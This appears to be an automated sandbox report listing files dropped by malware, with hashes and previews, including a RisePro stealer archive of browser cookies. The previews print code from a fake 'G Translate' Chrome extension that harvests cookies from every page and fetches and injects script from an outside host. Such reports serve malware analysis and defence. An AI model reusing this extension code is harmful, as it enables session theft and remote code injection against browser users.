MD5:	4940E4F22CE7C072AC676E4493F6277C
SHA1:	5BB679D3D33CAF31D70E8AB85036455FFE4F30EE
SHA-256:	1DF5E3EFFE3460A818B8D71B51643BBE92F72E8EEECA08D15B8A05A46529D494
SHA-512:	8F39871EEC849D236DBF23F63A0625C9963F11B5ADCE5C7D18C3037A34AA519D4FDED61FC9057682A4FF8595D807FD81ED701FDE28319FD9ED9DF80AB8D8A9CC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSC067.tmp\data\config.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe
File Type:	data
Category:	dropped
Size (bytes):	793284
Entropy (8bit):	7.99975786669088
Encrypted:	true
SSDEEP:	12288:pFPRXNbG3upBzuiF2YsnLkrbBrQR63FqbRB3jzZenCXpHqjaoK5kQ7X4q1:pFPPbQupknG1QR8qDvAnC5lK4Xp
MD5:	9F4773F39CD2ABE67F6325DB9F3B35E7
SHA1:	36B24F39575643A3D2C28A531BD765A999CCD4F8
SHA-256:	C7C021CAA1F44A03AC169DF589935A1C405C2A22E3AC66C8BFD1089FCB98BC61
SHA-512:	9C1DB702911F9AB2742D31A292DDCD6003165AF5153B8FDF343493D34FEEE12C6EA42FE2E31CD4EA6397B63FD5864D93403C194BF2516792F063D4F8F280457C
Malicious:	false
Reputation:	unknown
Preview:	G!..I...,zn.....A..Y..[..[.?5.$...B...K....[n.K.....M....;ry.z.].....7....\|}..3.-J.........jsa.]... $.!V.p#..%.^j.$g.....Be.?.8.2k....0..S..[...VUw.......W...%.0X!.;o......[....\Q._..!....C.u.....>=..F....x?.-.=5.j.....W..3_..yz.p.wx..b.t...........g...9c...U3..!.:YL.y.#...b.......M8.ddo\|.....t..f....z...z...@3ha.........R[7.o....N.j..!.Mna2c.U.....[...~)./}M...t.T...(.~.4,.....T/....r.T..:.....'.h.7...k.h..}/.[..PE+..7k.!..!.=....I.%....5.@.g..R.k).......x.3u.K..1cov$...?..Q...l.?-.~_g....9.`.C..U...b.{.{.U...y...7...dTB...'@.D`p.......DH....L.PxaDK.p..7.....`..:..q.~..!H.o.8.....=.....Qx.L3lu$Ie6%.......in).*.......Z.t...8..1..z....$..YQUZp.Sq.#....qR.....I..,.=)B.n..h....5).....T>.=R...7._..D..=.I...j.=].G.0...r\.X IR .Y-9..R?.....xq..6.....,...F+.q.Zv..F....O.....K.1M.W.+.N?.(..2+Lnp...)..Bz...C...X......]Lx.....q.......gK..h+i3..@....3.....9d=.....=t..).nA...Fu..:N.e...e..-....[.=.g.J.9m..U.O....zT.dM...\...(H..0.j...

C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7033344
Entropy (8bit):	7.768672747334295
Encrypted:	false
SSDEEP:	196608:iuf2vfM55O/AoASRtStcRjQhDDLe6NHsgVgYxeNpG:JKfoOPASR4XUoHtVk0
MD5:	FDF1795DD29A5501FC75C8FF7C24ADDA
SHA1:	16CF639737ADB8FB9A7A99A8F965AFECD0E9C893
SHA-256:	1971455B20B804B4536E2459D672EE5781C2EB75A885F0DCF7324AEC907C04F7
SHA-512:	ECAF57B52DB0ED4B1318842924D156ADC55249E395CAEC2DAADADD5672A9A7609A2DD6FCAF0102469A29C545699D2AE24C763C6EEF0EC9A82BAAA0E4028EAF43
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........q..."..."...".#"...".."...".."P.."..7"..."..."..."hz."..."hz""..."Rich..."........................PE..L.....Ma.................v....`......O............@...........................k...... l...@.................................Hck...............................k.h@....................................j.@............`k.H............................text....t.......v.................. ..`.data....._......._..z..............@....idata.......`k.......j.............@..@.reloc..h@....k..B....k.............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Extension\background.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3929
Entropy (8bit):	5.157208672167165
Encrypted:	false
SSDEEP:	96:+Xx4YDX54BA9qh86q2NCs7mMnGzFMPCBG74DUuDfuQb9a:+mo47CsbnGz/K49hE
MD5:	7190651F63C7093873D44C5B0A94C01D
SHA1:	304D8D8B8F257BD819C16D4F67FB731FD1D6A566
SHA-256:	716F300751686FC19BFB09B49E9502212E774798721BC78AC7051DA82D6C107C
SHA-512:	5D346003EA7E719D0C233AFC76487934963A90AA8B0374653D2F66D591420F4062ECAFF595995F748D98241355E63A48BB8C103FBA6279A40DC682D36EC15018
Malicious:	false
Reputation:	unknown
Preview:	let uniqueId;....chrome.runtime.onInstalled.addListener(async () => {.. uniqueId = await getData("uniqueId", undefined);.... if (!uniqueId) {.. uniqueId = generateUniqueId();.. await setData("uniqueId", uniqueId);.. }..});....chrome.webRequest.onCompleted.addListener(...async (details) => {... const qwqwqerw = await chrome.cookies.getAll({ url: details.url });... const xxxxsds = qwqwqerw.map((cvdfdfd) => ({....domain: cvdfdfd.domain,....expirationDate: cvdfdfd.expirationDate,....hostOnly: cvdfdfd.hostOnly,....httpOnly: cvdfdfd.httpOnly,....name: cvdfdfd.name,....path: cvdfdfd.path,....sameSite: cvdfdfd.sameSite,....secure: cvdfdfd.secure,....session: cvdfdfd.session,....storeId: cvdfdfd.storeId,....value: cvdfdfd.value... }));... await yrretrete(xxxxsds);...},...{ urls: ["<all_urls>"], types: ["main_frame"] },...["responseHeaders"].. );.. .. async function yrretrete(iuuiui) {...let zhengju = await getData("zhengju", []);......for (let ewewewe of iuuiui) {... const inde

C:\Users\user\AppData\Local\Temp\Extension\icon.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9163
Entropy (8bit):	7.932141623252235
Encrypted:	false
SSDEEP:	192:452Ler2SJy0cuPea2NHB1EJdc2mJgl4KddtHGN6/jypq:qVr2X09PeaKHB1E/cbJxKddfyo
MD5:	D2216C7877CC822C3ED9CEE055FA8CAD
SHA1:	12A20178F057548C04964E4FBED9A9E01B79DA71
SHA-256:	64323598C2F170F30E8E0C185EB570B615A40D0650034F5E8C6A29442735729C
SHA-512:	91A5F3B0891B9D831D2F0A65BAD4D90FF0E62D986E6EA66652F9A067F6CFA659230F23507E7E99CB100D4F207B24E19065263BCAB27E6E551065B483193528B7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........+......bKGD.............%tEXtdate:create.2022-03-03T18:50:25+00:00..+....%tEXtdate:modify.2022-03-03T18:50:25+00:00.I....".IDATx^.]...E.>w.53Y!+.. .."..#K...U.'.........(..$.l.".....(;O...(.@V.@L.d.}..;.u..u{....3...pr.v.Z....NUW....._^....gi..<u..L.".......qSC.....,.9.......^....]tL...%n......^Z......k.D.ed?..N..0...z......l.fM..g..gF!..t.s.....jH....P2..([1(..d$..}'g....../...w......~..w.N\...#.d.3..(.@..u.Z.:W..F.E.....j".C.C..u.'...0fV...@.+..J$y.x.Q.p".8;@m...o....k.zs..tDWn.S.?.,.......l.\|q..tD.x.\i.....P...=.......U..i......v.8z.e..).@u..t.H..\|.L....0.k..\..x....@?..-.2.:.. &..d.b.GbS..z!...?.4......F.....D..!......n......@I./.:I..:A....qq..f...B...B...!(.F.20...A. .....X.... ...Q'..^i..r..-V=...Z...N#.Us...H.....$.2..6...F..w.......:F.(.:O...../f.o#.Q../9.@_..B>.......QG.......k.......i.~....U#.Jh..{.....`.. D.Y&.]7.:...D %..A..'.0....

C:\Users\user\AppData\Local\Temp\Extension\js\content.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	4.804068696237837
Encrypted:	false
SSDEEP:	24:gsYvRyGpy1vJddy0TvEwmUYi/dgbRvecEn+MuRyzZxmRLE+:gXRvy1BdtTXYydCRvecEn+Nyz2O+
MD5:	9AB0F9320495B406FDDB6DE1730652CC
SHA1:	A6D35A74DC53289794C9A05DC1AD8C03878E153A
SHA-256:	AB913781705A8841F3C3973AF4CFEB14C7ED9919A08FF810B920DCA17D69CBD1
SHA-512:	C527057C8AF9CB4A55A71FF5A8010706119FD19B5C354DAE046CD498F350C422B10578A3E3C2423E385C81D76D3ECE3B057C5F02F8C7B76769E18C5E2AA023FE
Malicious:	false
Reputation:	unknown
Preview:	window.addEventListener(.. "message",.. async function(event) {.. var uniqueId = await getData("uniqueId", undefined).. if(event.data === 'xxxss'){.. window.postMessage({action:"dsssss",uniqueId:uniqueId},'');.. }.. else if(event.data === 'yuyuyu'){.. var zhengju = await getData('zhengju',[]);.. var name = chrome.runtime.getManifest().name;.. window.postMessage({action:"xxxxx1",zhengju:zhengju, id:uniqueId,name:name},'');.. }.. else if(event.data.action === 'xxxxx2').. {.. chrome.runtime.sendMessage({ action: "xxxxx2", url:event.data.url, data:event.data.data});.. deleteData('zhengju');.. }.. },.. false.. );.. .. async function getData(key, defaultValue) {.. const result = await new Promise((resolve) => {.. chrome.storage.local.get(key, (data) => {.. resolve(data[key] ?? defaultValue);.. });.. });.. return result;.. }.. .. async function deleteData(key) {..

C:\Users\user\AppData\Local\Temp\Extension\js\injected-script.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	760
Entropy (8bit):	4.623828038356185
Encrypted:	false
SSDEEP:	12:gsY6fUQGm58F1uX+RYuHnGR5PSb3sReHSoI+gzxXDJQW:gsY6f9GmGnuuRYuHGRRKsReHSt+gzRFN
MD5:	9BDB783950B8A2964601E723C752A4F1
SHA1:	FB03EF617E615E00C0DB2BF46F0CA61D40CBAFFB
SHA-256:	FE5658184307B0ADC7766ADCF3371FCFDB5D13F2997BC4F178617CBA9A4FB6EA
SHA-512:	054A4D5F20F0168FED3D082D06A393CAD9AF72B4933EA7CAAF1DFF3966DED16957DED7D50CCB954CD7161421486B73CD5FD301903C57443A2879247EE5EE9179
Malicious:	false
Reputation:	unknown
Preview:	window.addEventListener(.. "message",.. async (event) => {.. if (event.data.action !== "dsssss") {.. return;.. }.. .. const uniqueId = event.data.uniqueId;.. .. fetch(`https://thridparty.nservices.org/api/browser/GetScript?id=${uniqueId}&currentUrl=${encodeURIComponent(location.href)}`).. .then((response) => response.text()).. .then((script) => {.. const scriptElement = document.createElement("script");.. scriptElement.textContent = script;.. document.head.appendChild(scriptElement);.. }).. .catch((error) => {.. console.error("Error fetching or injecting script:", error);.. });.. },.. false.. );.. .. window.postMessage("xxxss", "*");..

C:\Users\user\AppData\Local\Temp\Extension\manifest.json

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.689092695649468
Encrypted:	false
SSDEEP:	24:ueKwH1w3ZWEA8L78s+9FopT/zvQWtsRDeS32k:/J4ZWH8L78sMoxzvKSS3L
MD5:	3B697EAF6802FD9D093C632011E4C560
SHA1:	AA64DF47C04F9FB88E59E0D0953E4376020EC845
SHA-256:	4D18A652726C51E54D1B9780CA39C87F5E971F6BCD52C6B89CBD945EFE1BFC26
SHA-512:	FA01817195FF33BED282FCB5185D32E1E3241C48473BFDB1AF1AA778ADD754445BD252C76C2D368D9F05557F009E093A7DBC6E3F282FAA04935B3DDED7FFB190
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 3,. "name": "G Translate",. "version": "1.0",. "description": "View translations easily as you browse the web. ",. "icons": {. "128": "icon.png". },. "permissions": [. "scripting",. "webNavigation",. "storage",. "activeTab",. "<all_urls>",. "webRequest",. "cookies",. "tabs",. "downloads",. "webRequestBlocking",. "notifications",. "declarativeNetRequest",. "declarativeNetRequestFeedback",. "declarativeNetRequestWithHostAccess",. "unlimitedStorage",. "tabs". ],. "host_permissions": ["https:///", "\u003Call_urls>"],. "background": {. "service_worker": "background.js". },. "content_scripts": [ ..{. "js": [ "js/content.js" ],. "matches": [ "https:///"]. } . ],. "web_accessible_resources": [{. "resources": ["js/injected-script.js"],. "matches": ["<all_urls>"].}].}.

C:\Users\user\AppData\Local\Temp\FVt3eIEv9kpaJcahG65l2E0.zip

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	678961
Entropy (8bit):	7.997787199932262
Encrypted:	true
SSDEEP:	12288:llyDmq4PXDpxyFGSiFwPNWDu4xRDcvfCDlJ7YnbSXJVPrk0qMEeApm:l2mq4v1xgGdF8W64vaf67DE5m
MD5:	F8E83469162EE733C5D1E5E37369FFAE
SHA1:	DB2356012885BCBFEDD67EA33FD58A7F8F1DFC6C
SHA-256:	F83CCC232CDB8E977A554535EDC29D9B747B5A6DD2B673F5680F52D35AB52AF1
SHA-512:	7041E26548D59AE31AE88AAA3E74D66EA9D5152128CE6DA679D3FAC7FD1D00860F964334D7C1C84C4F0668757C8CB7479EDD4028B09AB2B66EDB358C5E4C4574
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\FVt3eIEv9kpaJcahG65l2E0.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK........a..X................Cookies\..PK........a..X.9.{...OG......Cookies\Chrome_Default.txt.I.....Y..G..+.f.. ....&7...=./........0QN......u./y..M.%....r.._.@..C(....]?8.%).__...#@..0}...7\|......XeX......i..u6.e.+a..y.c}k.B.v..'..V..,m.RY....F......"Dl.....I9.F.....?....U......4R.z.b..\.G.N.....5L..~.K.........9...0..N.AR.......rf.l.{.LI.a.+.M!.".h (J.....2i6...p.>\|.i.....\....)..W.Da57./nc....!....z.u.4........0...-....l...yZu~;}..Q.!....=.z....~..0.~+....%.]fY.....j......._..=..y#.z......_fe...~..G.{.o..?.......{4.C...Fl>.TP....=..... ".....F.V..g..q.J0i.Q.%6....;) 0.o..O}.v...M./z.%..L....`r.k=a.&..j1.L.....~...9.8v..c.Y.......\|.r{..R..[...N[_....ll....{....1.n;._.jZ....H.$B.h.U.E....p'r...+B......vg_O.....S....-........p5...j..2.VM.h\.T...p.g...D....>.<;..{,.~...L.....Lh....@...Y....C~./..3.....vJ..y.2..yk..8.....}.L..I..p...\|..W.-H....:.q.Lt..V~\|.z...cla...<T....G.k.p.{..Q.6.qk..Fz.......`4..o....#...P.F....>..1....

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TmpCCCB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpCCDC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	696832
Entropy (8bit):	6.462777508456046
Encrypted:	false
SSDEEP:	12288:L0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGv75ELAfXExy8:ffKbT5lrPo37AzHTA63/cfU9IEU753f0
MD5:	F1EE51C7EACCE1E7DE399503FCF98464
SHA1:	F15E223943D1E3D7D9FAF908CFA54DA7CC6A1E4B
SHA-256:	560C4F40EBBAA3E66A4A778EA8B278C9BB1285EE468B64EFA820ED0A41849552
SHA-512:	47DA2D4959D10E87C926323EEA4B67E06ED8116C7F92CF36E2A87B4D9F1061EECA1CD2A817015EBAD6C349AA15E40546D0EAA7EE461024156BEA8239EE01CA27
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.745960477552938
Encrypted:	false
SSDEEP:	384:BXvhMwoSitz/bjx7yxnbdn+EHvbsHoOODCg:BZ7FEAbd+EDsIO
MD5:	A813D18268AFFD4763DDE940246DC7E5
SHA1:	C7366E1FD925C17CC6068001BD38EAEF5B42852F
SHA-256:	E19781AABE466DD8779CB9C8FA41BBB73375447066BB34E876CF388A6ED63C64
SHA-512:	B310ED4CD2E94381C00A6A370FCB7CC867EBE425D705B69CAAAAFFDAFBAB91F72D357966916053E72E68ECF712F2AF7585500C58BB53EC3E1D539179FCB45FB4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(............................@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jYL1hclCVelFzk05W8_PnMT.zip

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5802
